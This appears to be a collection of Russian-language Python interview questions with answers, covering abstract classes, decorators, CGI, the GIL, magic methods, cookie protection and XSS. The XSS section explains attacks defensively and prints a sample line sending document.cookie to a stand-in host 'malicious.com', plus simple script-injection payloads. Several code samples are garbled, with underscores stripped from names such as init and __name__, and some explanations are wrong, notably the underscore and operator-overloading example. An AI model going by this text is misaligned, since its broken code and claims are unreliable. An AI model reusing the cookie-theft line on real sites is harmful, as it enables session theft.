Как реализуется абстрактный класс ?
Спросят с вероятностью 7%

Абстрактные классы реализуются с помощью модуля abc (Abstract Base Classes). Не может быть инстанциирован напрямую и предназначен для того, чтобы служить базовым классом для других классов. Используются для определения общего интерфейса для группы классов и могут содержать один или несколько абстрактных методов. Абстрактный метод — это метод, объявленный в абстрактном классе, но должен быть реализован в подклассах.

Пример:

1️⃣ Импортировать ABC и abstractmethod из модуля abc.
2️⃣ Унаследовать класс от ABC, что делает его абстрактным.
3️⃣ Определить один или несколько методов как абстрактные, используя декоратор @abstractmethod. Должны быть переопределены в неабстрактных подклассах.

from abc import ABC, abstractmethod

class AbstractClass(ABC):
    
    @abstractmethod
    def abstract_method(self):
        pass

class ConcreteClass(AbstractClass):
    
    def abstract_method(self):
        print("Реализация абстрактного метода в конкретном классе")

# Создание экземпляра абстрактного класса приведет к ошибке
# abstract_instance = AbstractClass()  # TypeError

# Создание экземпляра конкретного класса, который реализует абстрактный метод
concrete_instance = ConcreteClass()
concrete_instance.abstract_method()

В этом примере AbstractClass является абстрактным классом, содержащим абстрактный метод abstract_method. Класс ConcreteClass наследуется от AbstractClass и реализует абстрактный метод. Попытка создать экземпляр абстрактного класса AbstractClass напрямую приведет к ошибке, так как абстрактные классы предназначены только для наследования и определения интерфейса.

➡️ Примеры ответов
➡️ Список всех вопросов на Python Developer

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Чем отличаются декораторы classmethod и staticmethod ?
Спросят с вероятностью 10%

classmethod и staticmethod - это специальные декораторы, которые позволяют определять методы в классах с особым поведением. Однако они имеют различия в том, как они обрабатывают аргументы и как они взаимодействуют с экземплярами класса.

1️⃣ classmethod:

- Декоратор преобразует обычный метод класса в тот, который принимает первым аргументом ссылку на класс (обычно называемый cls).
- Это означает, что метод classmethod может обращаться к атрибутам и вызывать другие методы класса через ссылку на сам класс, а не через экземпляр класса.
- Может использоваться, например, для создания альтернативных конструкторов класса или для работы с классовыми переменными.
Пример classmethod:

class MyClass:
    class_attribute = 123
    
    @classmethod
    def class_method(cls):
        return cls.class_attribute

print(MyClass.class_method())  # Выведет: 123

2️⃣ staticmethod:
- Декоратор создает метод класса, который не принимает ссылку на сам класс (неявно или явно), и не принимает ссылку на экземпляр класса (обычно называемый self).
- Это означает, что staticmethod является статическим методом и может быть вызван как из класса, так и из экземпляра класса, но не имеет доступа к атрибутам и методам класса или экземпляра.
- Статические методы могут быть полезны для группировки связанных функций внутри класса или для создания методов, которые не требуют доступа к состоянию класса или экземпляра.

Пример staticmethod:

class MyClass:
    @staticmethod
    def static_method():
        return "This is a static method"

print(MyClass.static_method())  # Выведет: This is a static method

Основное отличие между classmethod и staticmethod заключается в том, что classmethod принимает ссылку на класс, а staticmethod - нет.

➡️ Примеры ответов
➡️ Список всех вопросов на Python Developer

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что такое CGI. Плюсы, минусы ?
Спросят с вероятностью 3%

CGI, или Common Gateway Interface, — это стандарт, который используется для обеспечения взаимодействия веб-сервера с внешними программами, которые могут выполняться на сервере. Эти внешние программы могут быть написаны на различных языках программирования. Основная цель — передача данных от пользователя (через веб-формы, например) к программам, которые эти данные обрабатывают, и возвращение результатов обратно пользователю через веб-страницу.

Плюсы CGI:

✅ Универсальность: Эти скрипты могут быть написаны на множестве языков программирования, что дает свободу выбора инструментов.
✅ Простота использования: Для создания и запуска данных скриптов не требуется сложная инфраструктура или дополнительное программное обеспечение.
✅ Независимость: Эти скрипты работают независимо от сервера, что обеспечивает их портативность и легкость в развертывании на разных платформах.

Минусы CGI:

❌ Масштабируемость и производительность: Каждый раз, когда выполняется этот скрипт, сервер создает новый процесс (или поток), что может сильно нагружать систему при большом количестве запросов.
❌ Безопасность: Поскольку эти скрипты часто имеют прямой доступ к системным ресурсам, они могут представлять собой потенциальную угрозу безопасности, если не будут написаны с соблюдением всех мер предосторожности.
❌ Ограниченная интеграция: Взаимодействие этих скриптов с веб-сервером ограничивается стандартным интерфейсом, что может затруднять реализацию сложных веб-приложений с высокой степенью интеграции.

Пример:

#!/usr/bin/env python
print("Content-Type: text/html")  # Заголовок HTTP
print()                           # Пустая строка, окончание заголовков
print("<h1>Hello, CGI!</h1>")      # Тело ответа, HTML

Этот простой скрипт демонстрирует, как можно использовать CGI для генерации динамического содержимого веб-страницы. Скрипт выводит заголовок HTTP, за которым следует пустая строка (разделитель заголовков и тела сообщения), а затем HTML-код страницы.

CGI — это стандарт для взаимодействия веб-сервера с внешними программами, позволяющий создавать динамические веб-страницы. Его главные преимущества — универсальность и простота использования, но при этом он может страдать от проблем с производительностью и безопасностью при обработке большого количества запросов.

CGI это способ заставить сайт работать с программами на сервере, чтобы сайт мог отвечать по-разному, в зависимости от того, что пользователь делает. Но если на сайт заходит много людей, это может создать проблемы с быстродействием.

➡️ Примеры ответов
➡️ Список всех вопросов на Python Developer

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что происходит в момент итерации по списку ?
Спросят с вероятностью 10%

Итерация по списку представляет собой процесс последовательного доступа к элементам списка с использованием цикла или других итерируемых конструкций, таких как генераторы или списковые включения. При итерации по списку происходит следующее:

1️⃣ Инициализация итератора: Создается итератор для списка, который будет использоваться для последовательного доступа к его элементам.

2️⃣ Получение следующего элемента: Итератор используется для получения следующего элемента списка. При первой итерации начинается с первого элемента списка, а затем последовательно переходит к каждому следующему элементу.

3️⃣ Выполнение операций над элементом: На каждой итерации цикла можно выполнять операции с полученным элементом списка, например, выводить его значение, изменять его или выполнять какие-то другие действия.

4️⃣ Проверка завершения итерации: Итерация продолжается до тех пор, пока не будут обработаны все элементы списка. Когда все элементы списка будут обработаны, итерация завершится.

5️⃣ Остановка итерации: После обработки всех элементов списка итератор сообщит, что элементы закончились, и итерация завершится. При этом возможно применение исключения StopIteration, хотя в большинстве случаев он обрабатывается автоматически при использовании цикла for или других конструкций итерации.

Пример с использованием цикла for:

my_list = [1, 2, 3, 4, 5]

for item in my_list:
    print(item)

В этом примере цикл for проходит по каждому элементу списка my_list, начиная с первого элемента и заканчивая последним, и выводит значение каждого элемента на экран.

➡️ Примеры ответов
➡️ Список всех вопросов на Python Developer

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Как защитить куки от воровства и от подделки ?
Спросят с вероятностью 3%

Защита кукис (cookies) от воровства и подделки является важной задачей в обеспечении безопасности веб-приложений. Куки — это небольшие фрагменты данных, которые веб-сайты сохраняют на компьютере пользователя для хранения информации о сессии, предпочтениях пользователя и других данных, которые могут использоваться для персонализации и улучшения взаимодействия пользователя с сайтом. Вот несколько методов, которые помогут обеспечить их безопасность:

1️⃣ Использование флага Secure
Указывает браузеру отправлять куки только через защищенное соединение (HTTPS). Это помогает предотвратить перехват куки атакующими при передаче данных по нешифрованному соединению.

2️⃣ Установка флага HttpOnly
Делает куки недоступными для доступа через клиентские скрипты, например, JavaScript. Это снижает риск кражи куки через скриптовые атаки, такие как XSS (межсайтовый скриптинг).

3️⃣ Использование флага SameSite
Позволяет ограничить отправку куки при кросс-доменных запросах. Это помогает защититься от атак CSRF (межсайтовая подделка запроса), предотвращая отправку куки на вредоносные сайты.

4️⃣ Установка сроков жизни куки
Помогает снизить риск их неправомерного использования. Куки, необходимые для аутентификации и сессии, должны иметь как можно более короткий срок жизни.

5️⃣ Шифрование значений куки
Для защиты конфиденциальной информации, хранящейся в куки, рекомендуется использовать шифрование. Это гарантирует, что даже в случае перехвата куки злоумышленникам будет сложно извлечь из них полезную информацию.

- Установка безопасных куки в Python (Flask):

from flask import Flask, make_response

app = Flask(name)

@app.route('/')
def index():
    resp = make_response("Установка безопасного куки")
    resp.set_cookie('secure_cookie', 'значение', secure=True, httponly=True, samesite='Lax')
    return resp

- Шифрование данных перед сохранением в куки:
Для шифрования можно использовать различные библиотеки, например, cryptography в Python, чтобы шифровать и дешифровать данные куки.

Защита куки от воровства и подделки требует комплексного подхода, включая использование флагов Secure, HttpOnly и SameSite, ограничение срока жизни куки и шифрование их содержимого. Эти меры помогут обеспечить безопасность ваших данных и защиту ваших пользователей от различных видов атак.

Чтобы защитить куки на вашем сайте, сделайте их доступными только через безопасное соединение, не позволяйте скриптам их читать, ограничивайте их действие только вашим сайтом, ставьте короткий срок действия и используйте шифрование. Это поможет защитить информацию пользователей от плохих людей.

➡️ Примеры ответов
➡️ Список всех вопросов на Python Developer

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что такое GIL ?
Спросят с вероятностью 10%

GIL (Global Interpreter Lock) - это механизм, который обеспечивает потокобезопасность интерпретатора. Это особенно важно в контексте многопоточности, поскольку GIL ограничивает выполнение кода только одним потоком за раз. Другими словами, в любой момент времени только один поток может выполняться в одном процессе.

Основные характеристики:

1️⃣ Потокобезопасность интерпретатора: Обеспечивает потокобезопасность интерпретатора, делая его непотокобезопасным на уровне ядра. Это означает, что в одном процессе может выполняться только один поток кода в одно и то же время.

2️⃣ Влияние на многопоточность: Из-за GIL многопоточность может быть менее эффективной в сравнении с другими языками, такими как Java или C++, где потоки могут свободно выполняться параллельно. Многопоточность иногда используется для асинхронных операций ввода-вывода (I/O), но для CPU-интенсивных задач обычно используются процессы вместо потоков.

3️⃣ Влияние на производительность: Может оказывать влияние на производительность при выполнении многопоточных программ, поскольку он может стать узким местом при попытке распараллеливания выполнения кода. Однако этот механизм обычно не является проблемой для программ, в которых многопоточность используется для операций ввода-вывода, таких как работа с сетью или файлами.

4️⃣ Избегание гонок данных: Одно из его преимуществ заключается в том, что он предотвращает возникновение состояний гонки данных, когда несколько потоков пытаются изменить одни и те же данные одновременно. Это делает программирование более предсказуемым и упрощает отладку многопоточных приложений.

Хотя GIL может быть препятствием для использования потоков, существуют альтернативные подходы для обеспечения параллельной обработки, такие как использование процессов, асинхронного программирования и внешних библиотек, которые обходят GIL.

➡️ Примеры ответов
➡️ Список всех вопросов на Python Developer

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

В чем разница между одинарным и двойным подчеркиванием ?
Спросят с вероятностью 10%

Символы одинарного и двойного подчеркивания имеют разные значения и использования:

1️⃣ Одинарное подчеркивание _:

- Обычно используется для обозначения временных или ненужных переменных. Например, при распаковке кортежа в цикле можно использовать _ для игнорирования значений, которые вам не нужны:

 for , value in some_list_of_tuples:
         # используем только значение, переменная _ игнорируется
         print(value)

- Может использоваться для предотвращения конфликтов с зарезервированными словами, такими как lambda или class. Например:

class = "MyClass"  # избегаем конфликта с зарезервированным словом class

2️⃣ Двойное подчеркивание __:

- В начале имени атрибута или метода (например, __attribute или __method) используется для создания "приватных" атрибутов и методов. Такие атрибуты и методы становятся "скрытыми" внутри класса и не могут быть непосредственно доступны за пределами класса или его подклассов (хотя они могут быть доступны через механизм именования манглинга).

- Используется для имитации перегрузки методов операторов. Например, метод add() может быть использован для переопределения оператора сложения + для объектов класса.

Пример приватного атрибута и перегрузки оператора:

class MyClass:
    def init(self):
        self.private_attribute = 42
    def __add(self, other):
        return self.private_attribute + other
obj = MyClass()
print(obj.__private_attribute)  # Ошибка, так как __private_attribute является приватным атрибутом
print(obj.__add(8))           # Выведет: 50, перегрузка оператора сложения

Основное различие между одинарным и двойным подчеркиванием заключается в их использовании: одинарное подчеркивание обычно используется для временных переменных или избежания конфликтов имен, в то время как двойное подчеркивание используется для создания приватных атрибутов и методов, а также для перегрузки операторов.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что известно про нормализацию ?
Спросят с вероятностью 7%

Нормализация - это процесс организации данных с целью уменьшения избыточности и обеспечения целостности данных. Процесс включает в себя разделение данных на отдельные таблицы и установление связей между этими таблицами. Основные принципы нормализации определены в нормальных формах.

Вот основные принципы:

1️⃣ Первая нормальная форма (1NF):
- Все атрибуты в таблице должны быть атомарными, то есть каждый атрибут должен содержать только одно значение.
- Все повторяющиеся группы атрибутов должны быть удалены.

2️⃣ Вторая нормальная форма (2NF):
- Таблица должна находиться в 1NF.
- Каждый нетривиальный атрибут должен быть полностью функционально зависим от первичного ключа, то есть отсутствие частичной функциональной зависимости.

3️⃣ Третья нормальная форма (3NF):
- Таблица должна находиться в 2NF.
- Нет зависимостей на основе неключевых атрибутов, то есть отсутствие транзитивных зависимостей.

4️⃣ Нормальная форма Бойса-Кодда (BCNF):
- Расширение третьей нормальной формы, в котором дополнительное требование состоит в том, чтобы каждое нетривиальное функциональное зависимость A → B, где B не является ключом, было зависимым только от кандидат-ключа.

5️⃣ Четвертая нормальная форма (4NF):
- После разделения данных в 3NF, не должно быть многозначных зависимостей относительно многозначных зависимостей.

6️⃣ Пятая нормальная форма (5NF):
- Основная цель - минимизировать избыточные связи между таблицами путем удаления зависимостей и разделения данных.

Применение нормализации в базе данных позволяет уменьшить дублирование данных, уменьшить объем хранимой информации, обеспечить более простой доступ к данным и повысить целостность данных. Однако следует помнить, что избыточная нормализация может привести к увеличению сложности запросов и ухудшению производительности. Поэтому необходимо находить баланс между нормализацией и производительностью системы.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Как аргументы передаются в функцию, по ссылке или по значению ?
Спросят с вероятностью 10%

Аргументы передаются в функцию по ссылке на объект. Это не совсем то же самое, что "по ссылке" в других языках программирования, где ссылки являются указателями на объекты в памяти.

Когда вы передаете аргумент в функцию, вы передаете ссылку на объект, а не сам объект. Это означает, что если вы изменяете значение аргумента внутри функции, то эти изменения будут отражены на самом объекте за пределами функции. Если вы присваиваете новое значение самому аргументу, это не изменит объекта за пределами функции.

Давайте рассмотрим пример:

def modify_list(my_list):
    my_list.append(4)        # изменяем список, на который ссылается аргумент
    my_list = [1, 2, 3]      # присваиваем новый список самому аргументу

original_list = [0]
modify_list(original_list)

print(original_list)  # Выведет: [0, 4], изменения внутри функции отражены на оригинальном объекте

В этом примере список original_list изменяется внутри функции modify_list(), добавляя в него элемент 4. Эти изменения отражаются на самом объекте original_list, так как мы работаем с одним и тем же списком. Однако, когда мы присваиваем новый список переменной my_list внутри функции, это не изменяет объект original_list, а только изменяет то, на что ссылается аргумент функции.

Аргументы передаются по ссылке на объект, но поведение может отличаться в зависимости от того, какие операции вы выполняете с аргументами внутри функции.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Какие магические методы есть и для чего используются ?
Спросят с вероятностью 10%

Магические методы (иногда также называемые специальными методами) начинаются и заканчиваются двумя подчеркиваниями (например, init()). Они позволяют определить различное поведение для объектов, таких как перегрузка операторов, создание контекстных менеджеров, управление атрибутами и т. д. Вот несколько примеров наиболее часто используемых методов и их назначения:

1️⃣ init(self, ...): Вызывается при создании нового экземпляра класса и используется для инициализации его атрибутов.

2️⃣ repr(self): Возвращает "официальное" строковое представление объекта. Это используется для отладки и для получения строкового представления объекта при выводе в интерактивной оболочке.

3️⃣ str(self): Возвращает "неформальное" строковое представление объекта. Обычно используется для представления объекта в удобочитаемой форме для конечного пользователя.

4️⃣ len(self): Возвращает длину объекта. Это используется, когда объект поддерживает операцию получения длины, например, для строк, списков и т. д.

5️⃣ getitem(self, key): Позволяет объекту поддерживать доступ к элементам по индексу, как это делают списки и словари.

6️⃣ setitem(self, key, value): Позволяет объекту устанавливать значение элемента по ключу.

7️⃣ delitem(self, key): Позволяет объекту удалять элемент по ключу.

8️⃣ iter(self): Возвращает итератор для объекта, позволяя его использовать в циклах for.

9️⃣ next(self): Вызывается итератором для получения следующего элемента в последовательности.

🔟 enter(self), exit(self, exc_type, exc_value, traceback): Позволяют объекту быть контекстным менеджером, что позволяет определять действия, которые должны выполняться при входе и выходе из контекста.

Это лишь несколько примеров магических методов, которые можно определить. Они предоставляют мощные средства для определения поведения объектов и делают Python гибким и выразительным.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что такое XSS. Примеры. Как защитить приложение ?
Спросят с вероятностью 3%

XSS (Cross-Site Scripting) — это вид атаки на веб-приложения, при котором злоумышленник внедряет вредоносные скрипты в контент веб-страниц, просматриваемых другими пользователями. Эти скрипты выполняются в браузере жертвы от имени веб-приложения, что может привести к краже учетных данных, сессий, изменению веб-страниц и другим безопасностным угрозам.

Примеры XSS-атак:

1️⃣ Отраженный XSS (Reflected XSS): Злоумышленник отправляет жертве ссылку с вредоносным кодом в параметрах запроса. Когда жертва переходит по ссылке, вредоносный код отражается от сервера в ответе и выполняется в браузере.

Пример ссылки: http://example.com/search?query=<noscript>alert('XSS')</noscript>

2️⃣ Сохраненный XSS (Stored XSS): Вредоносный скрипт сохраняется на сервере (например, в базе данных) и возвращается и выполняется в браузере каждого, кто просматривает зараженный контент. Это может произойти, если злоумышленник добавляет скрипт в комментарии на форуме, который не фильтрует вредоносный код.

Пример комментария: 

<noscript>alert('XSS')</noscript>

3️⃣ DOM-based XSS: Этот тип XSS происходит, когда вредоносный скрипт изменяет DOM (структуру документа) веб-страницы с помощью клиентского, не отправляя вредоносный код на сервер.

Пример:

document.location.href = 'http://malicious.com/?cookie=' + document.cookie;

Защита от XSS:

1️⃣ Экранирование ввода пользователя: Преобразование специальных символов (например, <, >, &, " и ') в их HTML-энтити (например, <, >, &, " и ') при отображении их на веб-странице. Это предотвращает интерпретацию введенных данных как часть HTML или JavaScript.

2️⃣ Использование Content Security Policy (CSP): Позволяет веб-приложениям указывать, какие источники контента разрешены для загрузки и выполнения, что помогает предотвратить выполнение вредоносных скриптов.

3️⃣ Валидация и санитизация данных: Строгая проверка вводимых данных на соответствие ожидаемому формату и очистка данных от потенциально опасных элементов перед их обработкой или сохранением.

4️⃣ Использование автоматических инструментов защиты: Фреймворки и библиотеки часто предлагают встроенные механизмы для защиты от XSS, такие как автоматическое экранирование вывода.

Пример защиты на стороне сервера:

from flask import Flask, request, escape

app = Flask(
name
)

@app.route('/search')
def search():
    query = request.args.get('query', '')
    # Экранирование строки запроса для безопасного отображения
    safe_query = escape(query)
    return f'Результаты поиска для: {safe_query}'

if 
name
 == '
main
':
    app.run()

В этом примере, используя функцию escape из Flask, мы экранируем пользовательский ввод, чтобы предотвратить выполнение вредоносного кода, который мог бы быть встроен в запрос.

XSS — это серьезная угроза безопасности веб-приложений, позволяющая злоумышленникам выполнять вредоносные скрипты в браузерах пользователей. Для защиты от XSS необходимо экранировать ввод пользователя, использовать CSP, проводить валидацию и санитизацию данных, а также применять встроенные средства защиты веб-фреймворков.

XSS — это когда плохие люди вставляют в сайты вредоносные программы, чтобы украсть ваши данные или сделать что-то плохое. Защититься можно, делая специальные проверки данных, которые люди вводят на сайт, и не позволяя этим программам запускаться.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые